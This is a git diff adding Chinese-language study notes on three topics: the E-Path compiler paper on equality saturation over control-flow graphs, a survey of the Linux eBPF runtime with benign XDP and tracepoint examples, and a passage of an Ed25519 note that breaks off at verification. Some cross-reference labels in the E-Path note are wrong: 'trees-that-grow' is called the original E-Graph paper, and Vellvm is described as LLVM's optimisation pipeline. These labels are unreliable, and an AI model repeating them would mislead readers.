+**E-Path** 是一种新的数据结构，让编译器能在**控制流图（CFG）**上直接做"平等饱和"（equality saturation）优化。
+
+日常类比：传统编译器优化像一个厨师炒菜——翻一次锅就把之前的版本倒掉了，只能按固定顺序加盐、翻炒、出锅。E-Path 像一个**同时保留所有烹饪版本的冰箱**：每次改写都产生一个新版本，原版本不动，最后再从所有版本中选最好的那个端出去。
+
+这篇 4 页的短文（Guillermo Garcia, 2026-05-27）的核心贡献只有一句话：
+
+> 把"相等类"的基本单位从**单个表达式**提升到**指令序列（instruction sequences）**，从而直接在控制流图上做非破坏性优化。
+
+## 为什么重要
+
+不理解 E-Path，很多现代编译器优化的困境就没法解释：
+
+- 为什么 GCC / LLVM 的优化要分成几十遍 pass，每遍都改一遍中间表示？
+- 为什么"pass 的顺序"会影响最终生成的代码质量（phase-ordering problem）？
+- 为什么 E-Graph（如 egg 库）能做表达式级的最优选择，却搞不定循环优化？
+- 为什么 RVSDG 要先把控制流"规范化"成嵌套区域结构才能优化？
+
+E-Path 尝试用一套统一的数据结构同时回答这些问题。
+
+## 前置知识
+
+在看 E-Path 之前，需要理解三个概念：
+
+### 1. 控制流图（CFG）
+
+程序可以画成一堆方块（基本块）加箭头（跳转）。每个方块里是一条或多条指令，箭头表示"执行完这个方块后接下来去哪"。
+
+```
+        ┌─────────┐
+        │ block A  │  i = 0
+        └────┬─────┘
+             ▼
+        ┌─────────┐
+        │ block B  │  i = i + 1
+        └────┬─────┘
+             ▼
+        ┌─────────┐
+        │ block C  │  if i < 10 goto A
+        └─────────┘
+```
+
+这就是一个最简单的循环。
+
+### 2. 静态单赋值形式（SSA）
+
+每条变量只被赋值一次。`i = 0` 和 `i = i + 1` 中的 `i` 其实是不同的 SSA 变量（`i_0`、`i_1`）。这让数据依赖追踪变得简单。
+
+### 3. 平等饱和（Equality Saturation）
+
+传统优化：应用一个 rewrite → 替换原代码 → 继续下一个 pass。
+
+平等饱和：应用一个 rewrite → **产生新版本，旧版本保留** → 继续试更多 rewrite → 最后选最优。
+
+核心数据结构叫 **E-Graph**：把所有等价表达式共享在一个图里。egg 库就是最著名的实现。
+
+## 核心概念
+
+### E-Sequence：一条"指令链"
+
+E-Path 的基本单位不是单个表达式，而是一个 **E-Sequence**：
+
+```
+S = [b₁, b₂, ..., bₙ]
+```
+
+每个 `bᵢ` 是一个基本块。E-Sequence 看起来是线性的，但实际上它隐式编码了分支结构——通过终结符（terminator）语义来引用后继区域。
+
+### E-Path：所有等价序列的集合
+
+```
+P = {S₁, S₂, ..., Sₙ}
+```
+
+每一次 rewrite 规则应用，都会往集合里**插入**一个新序列，**不删除**旧序列。这就是"单调性"（monotonic）的含义。
+
+### 与 E-Graph 的关键区别
+
+| | E-Graph | E-Path |
+|---|---|---|
+| 等价单位 | 单个表达式 | 指令序列（CFG 片段） |
+| 数据结构 | 共享等价类的有向图 | 线性序列的持久化集合 |
+| 擅长领域 | 代数变换（常量折叠、公共子表达式） | 控制流变换（循环不变量外提、循环展开） |
+| 是否需要规范化 | 需要树/DAG 形式 | 直接在 CFG 上操作 |
+
+## 代码示例
+
+### 示例 1：循环不变量外提（LICM）
+
+原始代码（循环体内有一个不变量）：
+
+```
+loop_header(i):
+    c = iconst 42       // 不变量：42 不依赖循环状态
+    one = iconst 1
+    next_i = add i, one
+    loop_back(next_i)
+```
+
+`iconst 42` 是**循环不变量**——它不依赖循环携带的状态。传统 LICM pass 会把这段代码**原地改写**为：
+
+```
+// 循环外（preheader）
+c = iconst 42
+
+loop_header(i):
+    one = iconst 1
+    next_i = add i, one
+    loop_back(next_i)
+```
+
+E-Path 的做法不同：它**不覆盖**原代码，而是同时保留两个版本：
+
+```
+P = {
+  S₀: [loop_header(c=iconst42; one=iconst1; next=add; back)]   // 原版
+  S₁: [preheader(c=iconst42); loop_header(one=iconst1; next=add; back)]  // LICM 后
+}
+```
+
+后续如果有其他 rewrite 作用于 S₀ 或 S₁，各自独立发展。最终提取时，成本函数会选择 S₁（循环体更小、跑得更快）。
+
+### 示例 2：常量传播 + 死代码消除
+
+考虑这段代码：
+
+```
+x = 5
+y = x + 3       // y = 8
+z = y * 0       // z = 0
+print(z)
+```
+
+经过一系列 rewrite 后，E-Path 中可能积累这样的等价序列集合：
+
+```
+P = {
+  S₀: [x=5; y=x+3; z=y*0; print(z)],                    // 原始
+  S₁: [x=5; y=8; z=y*0; print(z)],                       // 常量传播 y
+  S₂: [x=5; y=8; z=0; print(z)],                         // 常量传播 z
+  S₃: [print(0)],                                         // 死代码消除 x, y, z
+}
+```
+
+每个 Sᵢ 都是有效的程序变体。提取阶段用成本模型选出 S₃（只有 1 条指令）。
+
+关键：**S₀ 始终存在**。如果后续某个 rewrite 发现 S₀ 的某种变体更好，它不会被 S₃"覆盖"掉。
+
+## E-Path 的工作流程
+
+```
+原始 CFG
+  │
+  ▼
+构建初始 E-Sequence S₀
+  │
+  ▼
+┌──────────────────────────────┐
+│  重复应用 rewrite 规则        │
+│                              │
+│  规则1: LICM → 新增 S₁       │
+│  规则2: 常量传播 → 新增 S₂    │
+│  规则3: 死代码消除 → 新增 S₃  │
+│  ...                         │
+│  直到不动点（无新序列产生）    │
+└──────────────────────────────┘
+  │
+  ▼
+成本评估：C(S) = N × M（迭代次数 × 循环体代价）
+  │
+  ▼
+提取 argmin C(S) → 最优版本
+```
+
+## 实践细节
+
+### 基于 ANF 的 CFG
+
+当前原型实现在一个受限的 A-Normal Form (ANF) CFG 上，来自 Crabstar 编译器后端。在这个 IR 中，每个基本块只包含**一条指令**后跟一个参数化的控制流终结符。
+
+这不是 E-Path 模型本身的要求，而是原型实现的简化手段。
+
+### 模式匹配
+
+E-Path 支持两种匹配模式：
+
+1. **表达式级匹配**：利用 ANF 中显式的数据依赖，像传统 E-Graph 那样做结构匹配
+2. **控制流匹配**：在 CFG 拓扑上做模式匹配，目前支持无环指令序列和可归约循环区域
+
+### 终止与去重
+
+因为单调增长，E-Path 理论上会无限膨胀。解决方式：
+
+- **Hash consing**：用结构哈希去重，相同序列只存一份
+- **不动点定义终止**：当一轮 rewrite 不再产生新序列时停止
+
+### 成本模型
+
+循环代价建模为：
+
+```
+C = N × M
+```
+
+N = 符号迭代次数，M = 循环体的聚合代价。序列间通过求和组合，循环区域乘以迭代次数。提取时选出最小成本的序列。
+
+## 当前局限
+
+1. **只支持可归约控制流**：不可归约循环（如 `goto` 造成的交叉跳转）还不支持
+2. **没有别名/内存模型**：不涉及指针别名分析、内存效应或推测执行
+3. **等价性依赖外部证明**：rewrite 规则的正确性由外部保证，E-Path 内部不做语义验证
+4. **原型阶段**：Rust 实现，仅作为 Crabstar 后端的原型验证
+
+## 未来方向
+
+论文列出的计划包括：
+
+- 条件分支、跳转表、不可归约循环的模式匹配
+- 循环融合/分裂/交换、部分展开、向量化
+- 常量折叠、常量传播、死代码消除、公共子表达式消除
+- 并行化：每个 E-Sequence 独立，rewrite 和成本提取都可以并行运行
+
+## 踩过的坑
+
+1. **序列爆炸风险**：即使有 hash consing 去重，rewrite 规则太多时等价集合仍然可能很大。需要聪明的 pruning 策略。
+
+2. **成本模型不够精确**：`C = N × M` 是个简化模型。真实硬件上，缓存命中率、分支预测、流水线填充等因素都影响性能，但很难用简单公式表达。
+
+3. **ANF 限制匹配能力**：每个基本块一条指令的约束简化了结构匹配，但也意味着复杂的块级模式需要拆成多条 E-Sequence 来匹配。
+
+4. **不动点可能很远**：rewrite 规则之间可能互相激发——一个 rewrite 产生的新序列又触发了另一个 rewrite。需要设置最大迭代次数或使用预算控制。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 控制流复杂的优化（循环优化、分支优化）
+- 多种优化策略可能产生不同最优解的场景
+- 需要避免 pass-ordering 问题的编译器架构
+
+**不适用**：
+
+- 纯表达式级优化（E-Graph 更成熟、更高效）
+- 需要精确内存/别名分析的优化
+- 资源极度受限的环境（E-Path 的持久化集合占用更大）
+
+## 历史脉络
+
+- **1991** — Cytron 等人提出 SSA 形式，成为编译器标准 IR
+- **2009** — Tate 等人提出 Equality Saturation，E-Graph 诞生
+- **2021** — Willsey 等人发布 egg 库，E-Graph 工程化落地
+- **2020** — Reissmann 等人提出 RVSDG，尝试消除显式控制流
+- **2026** — Garcia 提出 E-Path，把平等饱和扩展到 CFG 层面
+
+## 学到什么
+
+1. **平等饱和不只是表达式的事**——把等价类的基本单位从"表达式"提升到"指令序列"，就能直接处理控制流优化
+2. **非破坏性 = 更多探索空间**——每次 rewrite 都保留旧版本，意味着后来的优化不会"破坏"之前发现的优化机会
+3. **单调性带来并行潜力**——每个 E-Sequence 独立，天然适合并行 rewrite 和成本评估
+4. **成本提取是关键**——保留所有等价变体没有意义，必须有好的成本模型来选出最优
+5. **原型 ≠ 生产**——当前实现限制很多（可归约 CFG、无内存模型），但思想已经清晰
+
+## 延伸阅读
+
+- 论文原文：[arXiv:2605.28694](https://arxiv.org/abs/2605.28694)（4 页）
+- 前驱：[[pypy-tracing-jit]] — PyPy 的 meta-tracing JIT 也是"非破坏性"思想的体现
+- 对照：[[vellvm]] — LLVM 的传统破坏性优化管道，与 E-Path 形成鲜明对比
+- 相关：[[trees-that-grow]] — E-Graph 的原始论文（Tate et al. 2009）
+- 相关：[[graalvm-truffle]] — GraalVM 用 partial evaluation 做类似的事情
+
+## 关联
+
+- [[vellvm]] —— LLVM 的破坏性优化，与 E-Path 的非破坏性形成对照
+- [[pypy-tracing-jit]] —— meta-tracing 也是"保留多种执行路径"的思想
+- [[graalvm-truffle]] —— partial evaluation 路线，与 E-Path 互补
+- [[trees-that-grow]] —— E-Graph 的原始论文，平等饱和的起点
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/eagle.md b/src/content/docs/papers/eagle.md
index 27848d510..7eac8bb2b 100644
--- a/src/content/docs/papers/eagle.md
+++ b/src/content/docs/papers/eagle.md
@@ -154,5 +154,6 @@ LLaMA2-Chat 70B + 单 GPU 输出场景（论文 Table 2）：
 - [[attention]] —— Attention Is All You Need
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
 - [[specinfer-2023]] —— SpecInfer — 让大模型一次"猜一棵树"再并行验证
+- [[tensorrt-llm-overview]] —— TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记
 - [[vllm]] —— vLLM — 高吞吐 LLM 推理引擎
 
diff --git a/src/content/docs/papers/earley-parser.md b/src/content/docs/papers/earley-parser.md
index c5bf57eec..572403c15 100644
--- a/src/content/docs/papers/earley-parser.md
+++ b/src/content/docs/papers/earley-parser.md
@@ -164,4 +164,5 @@ fn parse_with_recovery(tokens):
 - [[pottier-merr]] —— Pottier LR(1) Reachability — 让 LR 解析器的错误消息覆盖完整
 - [[reynolds-definitional-interpreters]] —— Reynolds Definitional Interpreters — 用一种语言去定义另一种语言
 - [[tomita-glr]] —— Tomita GLR — 让 LR 解析器扛得住歧义文法
+- [[tree-sitter-2018]] —— Tree-sitter — 增量式解析系统
 
diff --git a/src/content/docs/papers/ebpf-linux-runtime-2024.md b/src/content/docs/papers/ebpf-linux-runtime-2024.md
new file mode 100644
index 000000000..222efcacc
--- /dev/null
+++ b/src/content/docs/papers/ebpf-linux-runtime-2024.md
@@ -0,0 +1,302 @@
+---
+title: The eBPF Runtime in the Linux Kernel — Linux 内核可编程运行时零基础导读
+来源: https://arxiv.org/abs/2410.00026
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象 Linux 内核是一座**戒备森严的政府大楼**：
+
+- 普通应用只能在大厅（用户态）办事，**不能随便改大楼内部的线路和规则**。
+- 传统做法是写**内核模块**——相当于雇施工队砸墙改管线：能力强，但改错一根线整栋楼停电（内核 panic），而且每次升级大楼都要重新审批施工方案。
+- 另一派做法是**绕过内核**（DPDK、用户态网络栈）：在大楼外面搭临时工棚，性能极高，但失去了大楼原有的安保、水电分摊和统一管理。
+
+**eBPF** 的做法是：在大楼里装一套**带安检的临时工位系统**——
+
+1. 你在用户态写好一份「微型脚本」（eBPF 程序）；
+2. 加载时必须经过**安检仪**（verifier）静态分析，证明你不会越权、不会死循环、不会乱碰内存；
+3. 通过后由 **JIT** 翻译成原生机器码，挂到内核预设的**事件挂钩**（hook）上；
+4. 事件发生时（收包、系统调用、函数入口……）你的脚本在**内核态**以接近原生的速度跑一小段逻辑，然后交还给原有内核流程。
+
+论文作者（Gbadamosi、Leonardi、Pulls、Høiland-Jørgensen 等，基于 **Linux 6.7**，2024 年 9 月 arXiv）称：这是**第一篇**系统描述 Linux 内核 eBPF 运行时设计与实现的综述，覆盖从加载、验证、JIT 到典型用例与开放挑战。
+
+> 论文澄清了一个常见误解：**eBPF 的设计并非直接继承 Classic BPF**，名字只是为了熟悉感；它是一套面向通用内核可编程的寄存器虚拟机。
+
+## 为什么需要 eBPF
+
+### 直接改内核的痛点
+
+| 问题 | 具体表现 |
+|------|----------|
+| 开发与调试难 | 内核代码库庞大，改一行要懂子系统全局 |
+| 部署成本高 | 换内核要重启机器，冷启动、回归测试，车队 rollout 以周/月计 |
+| 稳定性风险 | bug 直接导致整机崩溃，生产直接等于宕机 |
+| API 不稳定 | 未上游化的补丁每次内核升级都要 forward-port |
+
+### 绕过内核的代价
+
+Kernel bypass（如专用 poll 模式网卡驱动）和 library OS 能把性能榨到极致，但通常需要**独占硬件**、**重写应用**，且多工作负载**难以共享**同一台机器——对跑在 Linux 上的大规模生产 fleet 并不总是可接受。
+
+### eBPF 的定位
+
+论文概括为三条设计原则：
+
+1. **安全、动态的内核定制** —— 在虚拟机沙箱里改行为，不破坏内核完整性；
+2. **快速部署与迭代** —— `bpf()` 加载/卸载，无需 reboot；
+3. **与内核协同** —— 可以 fallback 到原有内核逻辑，不必整段重写网络栈或调度器。
+
+eBPF 自 **Linux 3.18（2014）** 合入主线，到 6.7 已支撑网络、追踪、安全、调度等整条产品线。
+
+## 核心概念
+
+### 1. eBPF 虚拟机与字节码
+
+eBPF 是一套**抽象虚拟机** + **64 位指令集**（算术、跳转、load/store、原子操作、函数调用）：
+
+- **11 个 64 位寄存器** `r0`–`r10`，其中 `r10` 只读、指向栈顶；
+- 固定大小栈；
+- 程序由若干 **subprog**（类似函数）组成，从 main subprog 开始执行。
+
+指令集刻意**贴近真实硬件 ISA**，方便 JIT 做接近 1:1 的翻译，也让 LLVM 后端能生成高效字节码。
+
+### 2. 运行时组件（论文 Figure 1）
+
+```text
+用户态                内核态
+─────────            ─────────────────────────────────
+C/Rust 源码  ──clang──► .o (BPF ELF)
+     │                      │
+libbpf/bpftool ──bpf()──►  Verifier ──► JIT/解释器
+     │                      │              │
+     │                      ▼              ▼
+     └── map fd ◄──────  Maps ◄──────  Hook 触发执行
+```
+
+| 组件 | 作用 |
+|------|------|
+| **用户态 Loader**（libbpf、BCC、bpftool） | 编译、解析 ELF、调用 `bpf(BPF_PROG_LOAD)` |
+| **Verifier** | 加载前静态分析，拒绝不安全程序 |
+| **JIT / 解释器** | 验证通过后翻译为机器码（无 JIT 时解释执行） |
+| **Hooks** | 挂载点：XDP、tracepoint、kprobe、LSM、cgroup…… |
+| **Program Type** | 决定可用 helper、上下文结构、合法挂载点 |
+| **Helpers** | 内核提供的「系统调用」，如打日志、改包、查 map |
+| **Maps** | 内核与用户态、程序与程序之间的共享数据结构 |
+| **Links** | 把程序挂载与 fd 生命周期绑定，进程退出后 probe 仍可存活 |
+| **BTF** | 紧凑类型信息，供 verifier 做类型检查 + CO-RE 重定位 |
+
+### 3. 对象生命周期
+
+每个 eBPF 对象（program、map、link）在内核有对应表示，通过 **fd** 暴露给用户态：
+
+- 最后一个 fd 关闭 → 内核释放对象；
+- 可 **pin** 到 `bpffs` 伪文件系统 → 跨进程持久化。
+
+### 4. BTF 与 CO-RE
+
+**BPF Type Format (BTF)** 是专为 eBPF 设计的调试/类型格式，比 DWARF 紧凑一个数量级，因此可以**随内核和程序一起发布**。
+
+**CO-RE（Compile Once – Run Everywhere）** 利用 BTF 在加载时解析结构体字段偏移、内核配置项，使**同一份编译产物**能在不同内核版本上运行——无需为每个目标内核重新编译。
+
+### 5. Verifier：四道关卡
+
+论文将验证分为四个 major pass：
+
+| Pass | 内容 |
+|------|------|
+| 1. CFG 校验 | DFS 遍历控制流图，禁止无法证明终止的循环、不可达指令 |
+| 2. 符号执行 | 逐路径追踪寄存器/栈的类型与边界，强制内存/资源/类型安全 |
+| 3. 优化与改写 | 死代码消除、helper 内联（如 map 访问特化） |
+| 4. JIT | 生成只读可执行镜像，可选 constant blinding 防 JIT spraying |
+
+**State pruning**（借鉴 RWSet 思想）在分支爆炸时剪枝等价状态，否则稍大的程序就会撞上「指令复杂度上限」。
+
+### 6. 安全属性（论文 §5）
+
+Verifier 力求保证：
+
+- **内存安全** —— 无越界、无任意指针解引用、无 UAF；
+- **类型安全** —— 借助 BTF 校验内核结构体访问；
+- **资源安全** —— 退出前释放内存、锁、引用计数；
+- **信息泄漏安全** —— 内核指针不能泄露到用户可见区域；
+- **无数据竞争**（对内核状态）—— 通过 helper 同步；
+- **可终止** —— 复杂度上限 + 有界循环展开；
+- **无死锁** —— 同一时刻最多持有一把 bpf spinlock；
+- **执行上下文不变量** —— 不破坏 hook 所在内核代码的假设。
+
+### 7. 典型工作流（论文 Figure 3）
+
+1. **S1** 用 C 写程序（带 `SEC("xdp")` 等段属性）；
+2. **S2** `clang -target bpf` 编译成 BPF ELF；
+3. **S3–S4** libbpf/bpftool 经 `BPF_PROG_LOAD` 提交，verifier + JIT；
+4. **S5** `BPF_LINK_CREATE` 挂到网卡 XDP 等 hook；
+5. 事件触发执行；**S6–S7** 关闭 link/program fd 卸载。
+
+## 代码示例一：XDP 丢弃 UDP（论文 Listing 1）
+
+下面这段与论文中的 XDP 示例同构——在网卡驱动层收到包时，丢弃所有 **IPv4 UDP** 流量，其余 `XDP_PASS`：
+
+```c
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+#include <linux/if_ether.h>
+#include <linux/ip.h>
+#include <linux/udp.h>
+
+SEC("xdp")
+int bpf_program(struct xdp_md *ctx)
+{
+    void *data_end = (void *)(long)ctx->data_end;
+    void *data = (void *)(long)ctx->data;
+
+    struct ethhdr *eth = data;
+    /* verifier 要求：每次指针运算前比较边界 */
+    if (eth + 1 > data_end)
+        return XDP_PASS;
+
+    if (eth->h_proto != bpf_htons(ETH_P_IP))
+        return XDP_PASS;
+
+    struct iphdr *iph = (void *)(eth + 1);
+    if (iph + 1 > data_end)
+        return XDP_PASS;
+
+    if (iph->protocol == IPPROTO_UDP)
+        return XDP_DROP;
+
+    return XDP_PASS;
+}
+
+char _license[] SEC("license") = "GPL";
+```
+
+**零基础要盯住的点：**
+
+- `data` / `data_end` 界定包缓冲区；`if (ptr + 1 > data_end)` 是 **verifier 能证明安全** 的标准写法；
+- `SEC("xdp")` 告诉 loader 这是 XDP 程序类型；
+- 返回值 `XDP_DROP` / `XDP_PASS` 决定包命运。
+
+加载与挂载（现代 libbpf 风格，概念示意）：
+
+```bash
+clang -O2 -g -target bpf -c xdp_drop_udp.c -o xdp_drop_udp.o
+bpftool prog load xdp_drop_udp.o /sys/fs/bpf/xdp_drop_udp
+bpftool net attach xdp id <PROG_ID> dev eth0
+```
+
+## 代码示例二：tracepoint + map 统计 syscall
+
+第二个例子展示 **tracing** 与 **map** 协作——统计 `execve` 次数，用户态定期读取：
+
+```c
+/* trace_execve.bpf.c */
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_tracing.h>
+
+struct {
+    __uint(type, BPF_MAP_TYPE_ARRAY);
+    __uint(max_entries, 1);
+    __type(key, __u32);
+    __type(value, __u64);
+} exec_count SEC(".maps");
+
+SEC("tracepoint/syscalls/sys_enter_execve")
+int trace_execve(void *ctx)
+{
+    __u32 key = 0;
+    __u64 *val = bpf_map_lookup_elem(&exec_count, &key);
+    if (val)
+        __sync_fetch_and_add(val, 1);
+    return 0;
+}
+
+char _license[] SEC("license") = "GPL";
+```
+
+用户态读取（libbpf skeleton 或 bpftool）：
+
+```c
+/* 简化示意：map fd 由 loader 打开 */
+int map_fd = bpf_obj_get("/sys/fs/bpf/exec_count");
+__u32 key = 0;
+__u64 count = 0;
+bpf_map_lookup_elem(map_fd, &key, &count);
+printf("execve count: %llu\n", count);
+```
+
+这里体现了论文强调的 **Maps 作为用户态/内核态数据交换通道**，以及 **tracepoint hook** 的低开销观测能力。
+
+## 主要应用场景（论文 §10）
+
+| 领域 | 代表能力 |
+|------|----------|
+| **网络** | XDP/TC 高性能包处理、sk_lookup、reuseport 选型、cgroup 策略、自定义拥塞控制 |
+| **Profiling** | perf 事件 + 栈采样，Cilium/Pixie 等连续剖析 |
+| **Tracing** | kprobe/tracepoint 访问函数参数，bcc/bpftrace 生态 |
+| **安全** | LSM BPF 可编程强制访问控制、审计 |
+| **新兴** | HID-BPF 驱动片段、SCHED_EXT/ghOSt 可编程调度、XRP 存储加速 |
+
+Cloudflare、Cilium、Meta、Google 等已将 eBPF 用于 DDoS 清洗、Kubernetes 网络策略、生产级可观测和安全基线。
+
+## 与「改内核 / 绕过内核」的对比
+
+```text
+                安全性    部署速度    性能      与内核集成
+内核模块          低        慢        高          深
+Kernel bypass     中        中        极高        弱
+eBPF              高        快        高          深（可 fallback）
+```
+
+eBPF 不是要取代内核子系统，而是让你在**不重启、不 fork 内核源码**的前提下，把策略和观测逻辑「插」在关键路径上。
+
+## 挑战与未来方向（论文 §11）
+
+1. **易用性** —— hook 选型门槛高，文档与工具链仍在快速演进；
+2. **Verifier 可扩展性** —— 循环体带分支时路径爆炸，复杂程序常被拒；
+3. **Verifier 正确性** —— 实现庞大、变更频繁，逻辑 bug 可能放过恶意程序；
+4. **形式化验证** —— 数值域、JIT 正确性已有部分工作，全 verifier 形式化仍是开放问题；
+5. **安全模型** —— 非特权 eBPF 默认关闭；`CAP_BPF` 细化了权限，但许多程序类型仍需 `CAP_NET_ADMIN` 等；
+6. **代码复用** —— 有 CO-RE，但跨文件静态/动态库支持仍弱。
+
+## 学习路径建议
+
+1. **先跑起来**：`bpftrace -e 'tracepoint:syscalls:sys_enter_execve { @[comm] = count(); }'` 感受零编译观测；
+2. **读内核文档**：[BPF 文档](https://docs.kernel.org/bpf/index.html)、[bpf-helpers(7)](https://man7.org/linux/man-pages/man7/bpf-helpers.7.html)；
+3. **用 libbpf + CO-RE**：`clang -target bpf -g` 生成带 BTF 的 `.o`，`bpftool btf dump` 查看类型；
+4. **对照论文 Figure 1–5** 理解 verifier → JIT 流水线；
+5. **选一个垂直深入**：网络从 XDP 开始，观测从 tracepoint 开始，安全从 LSM BPF 开始。
+
+## 关键术语速查
+
+| 术语 | 一句话 |
+|------|--------|
+| eBPF | 内核内的安全可编程虚拟机运行时 |
+| Verifier | 加载前静态分析器，安全守门人 |
+| JIT | 把字节码编译为原生指令 |
+| Hook | 程序被事件触发执行的挂载点 |
+| Map | 内核与用户态共享的 KV/数组等结构 |
+| BTF | 紧凑类型/debug 信息格式 |
+| CO-RE | 一次编译、多内核版本加载 |
+| XDP | 网卡驱动层最早的可编程包处理点 |
+| libbpf | 官方推荐的用户态加载库 |
+
+## 总结
+
+这篇论文的价值在于：把散落在内核源码、邮件列表和各类 slide 里的 eBPF 知识，**第一次**整理成从虚拟机模型、对象生命周期、verifier 四 pass、JIT hardening 到生产用例的完整地图。对零基础读者，抓住三条线就够了：
+
+1. **编程模型** —— C/Rust → BPF 字节码 → verifier → JIT → hook；
+2. **安全模型** —— 不是「信任开发者」，而是「证明器必须接受才运行」；
+3. **工程模型** —— 与内核共生、热加载、CO-RE 跨版本，而不是另起炉灶。
+
+eBPF 让 Linux 从「只能调旋钮的内核」变成「带安检的可编程内核」——理解这套运行时，是读懂现代云原生网络、可观测性和内核安全产品的钥匙。
+
+## 参考
+
+- 论文：[arXiv:2410.00026](https://arxiv.org/abs/2410.00026)（v2，2024-10）
+- DOI：[10.48550/arXiv.2410.00026](https://doi.org/10.48550/arXiv.2410.00026)
+- 内核文档：[eBPF 子系统](https://docs.kernel.org/bpf/index.html)
+- 指令集规范：[eBPF ISA](https://docs.kernel.org/bpf/standardization/isa.html)
diff --git a/src/content/docs/papers/ed25519-2011.md b/src/content/docs/papers/ed25519-2011.md
new file mode 100644
index 000000000..36156d3f8
--- /dev/null
+++ b/src/content/docs/papers/ed25519-2011.md
@@ -0,0 +1,248 @@
+---
+title: Ed25519 (2011) — 高速高安全的椭圆曲线数字签名
+来源: https://ed25519.cr.yp.to/ed25519-20110926.pdf
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Ed25519** 是 Daniel J. Bernstein、Niels Duif、Tanja Lange、Peter Schwabe、Bo-Yin Yang 在 2011 年论文 *High-speed high-security signatures* 中提出并工程化的**公钥数字签名方案**。名字拆开看：**Ed** = Edwards 曲线上的 **DSA** 风格签名；**25519** = 底层曲线与 [[curve25519-2006]] 同源、工作在素数域 \(\mathbb{F}_{2^{255}-19}\) 上。完整参数记作 **Ed25519-SHA-512**：哈希用 SHA-512，公钥 32 字节，签名 64 字节，安全目标约 \(2^{128}\)。
+
+日常类比：
+
+> 想象你在合同上盖章。传统 RSA 像一把**巨型铜印**——印泥厚、盖一下慢、印模又大（密钥和签名都长），但全世界都认得这种章。ECDSA 像**手工刻的私章**——小巧一些，可刻章师若手抖（随机数 \(k\) 泄露）或印泥配方写错（nonce 重用），别人能仿造你的章。  
+> **Ed25519** 则像工厂里的**标准化激光刻章机**：章面只有 32 字节「公钥图案」，盖出来固定 64 字节；刻章机按消息内容**确定性**算出图案，不依赖每次重新摇骰子；验章的人用公开说明书（曲线方程 + 哈希规则）几微秒就能验真，而且机器内部**从不根据秘密数据选不同工序**——旁路偷看流水线也猜不出私钥。
+
+论文在 2011 年 Westmere 四核 CPU 上实测：签名约 **10.9 万次/秒**，验签约 **7.1 万次/秒**；批量验 64 条签名时摊到每条不到 **13.4 万周期**。这些数字在发表时把 eBATS 基准里绝大多数 RSA、DSA、ECDSA 实现甩开一倍以上，同时把**软件侧信道防护**写进设计而非事后补丁。
+
+## 为什么重要
+
+不理解 Ed25519，现代「轻量签名」生态很难读透：
+
+- **SSH**：OpenSSH 6.5+ 默认推荐 `ssh-ed25519` 主机与用户密钥
+- **TLS 1.3**：IANA 注册 `signature_ed25519`（0x0807），与 ECDSA、RSA-PSS 并列
+- **Git / 供应链**：Git 2.19+ 支持 `git commit -S` 用 Ed25519；Sigstore、cosign 常用 Ed25519 签容器镜像
+- **加密货币与协议**：不在链上直接用，但 Monero 等用 Ed25519 变体；Noise、WireGuard、libsodium/NaCl 把 Ed25519 当默认身份原语
+- **后量子过渡期**：短密钥、快验签、实现简单，在 NIST 后量子签名普及前是**默认的「非 RSA」选择**
+
+与 [[rsa-1978]]、[[rsa]] 相比：Ed25519 不依赖大整数分解；与 NIST P-256 ECDSA 相比：签名格式唯一（无 DER 歧义）、确定性 nonce（无 Sony PS3 式灾难）、原生抗哈希碰撞传递攻击。
+
+## 论文与 EdDSA 族
+
+论文定义了一般框架 **EdDSA**（Edwards-curve Digital Signature Algorithm），再固定一组参数得到 **Ed25519**：
+
+| 参数 | Ed25519 取值 |
+|------|----------------|
+| 位长 \(b\) | 256 |
+| 哈希 \(H\) | SHA-512 |
+| 域 | \(\mathbb{F}_q\)，\(q = 2^{255} - 19\) |
+| 曲线 | twisted Edwards：\(-x^2 + y^2 = 1 + dx^2y^2\)，\(d = -121665/121666\) |
+| 基点 \(B\) | 与 Curve25519 双有理等价的那条曲线上的规范点 |
+| 子群阶 \(\ell\) | 接近 \(2^{252}\) 的素数（见论文与 [ed25519.cr.yp.to](https://ed25519.cr.yp.to/)） |
+
+曲线与 Curve25519 **双有理等价**，故椭圆曲线离散对数（ECDLP）难度与 Bernstein 2006 年分析的 Curve25519 同源——选曲线不是拍脑袋，而是把已有安全假设搬过来。
+
+## 核心概念
+
+### 1. 密钥长什么样
+
+- **私钥**：\(b\) 位字符串 \(k\)（256 位随机，或从种子扩展）
+- **公钥**：\(A = aB\)，其中 \(a = H(k)\) 经裁剪与解释成标量（实现里常先算 \(h = H(k)\)，用 \(h\) 的派生片段作 \(a\)）
+- **编码**：公钥 32 字节 little-endian \(y\) 坐标 + 符号位；签名 64 字节 = \(R\) 的编码 \(\|\) \(S\) 的 little-endian 编码
+
+密钥生成几乎与签名同速——论文报告约 **93288 周期**生成一对密钥（另加 OS 随机数开销）。
+
+### 2. 签名（Signing）
+
+对消息 \(M\)：
+
+1. 由私钥导出秘密标量 \(a\) 与前缀 \(h_{\text{prefix}}\)（实现细节见 RFC 8032，与论文一致 spirit）
+2. 计算 \(r = H(h_{\text{prefix}} \,\|\, M)\)，解释成标量
+3. \(R = rB\)（基点标量乘）
+4. \(S = r + H(R \,\|\, A \,\|\, M) \cdot a \pmod \ell\)
+5. 输出 \((R, S)\) 的压缩编码
+
+**确定性 \(r\)**：同一 \((k, M)\) 永远得到同一签名——不调用 `random()` 生成 nonce。这消除 ECDSA 因 \(k\) 泄露或重用（PlayStation 3、Android Bitcoin 钱包等）导致私钥被恢复的经典坑。
+
+**哈希进入挑战**：挑战是 \(H(R, A, M)\)，不是 \(H(M)\) alone。因此即使 SHA-512 出现碰撞 \(M \neq M'\) 且 \(H(M)=H(M')\)，攻击者仍难以完成 \(H(R,A,M)=H(R,A,M')\) 的第二次原像式伪造——论文称为 **collision resilience**。
+
+### 3. 验签（Verification）
+
+给定 \((R, S)\)、公钥 \(A\)、消息 \(M\)：
+
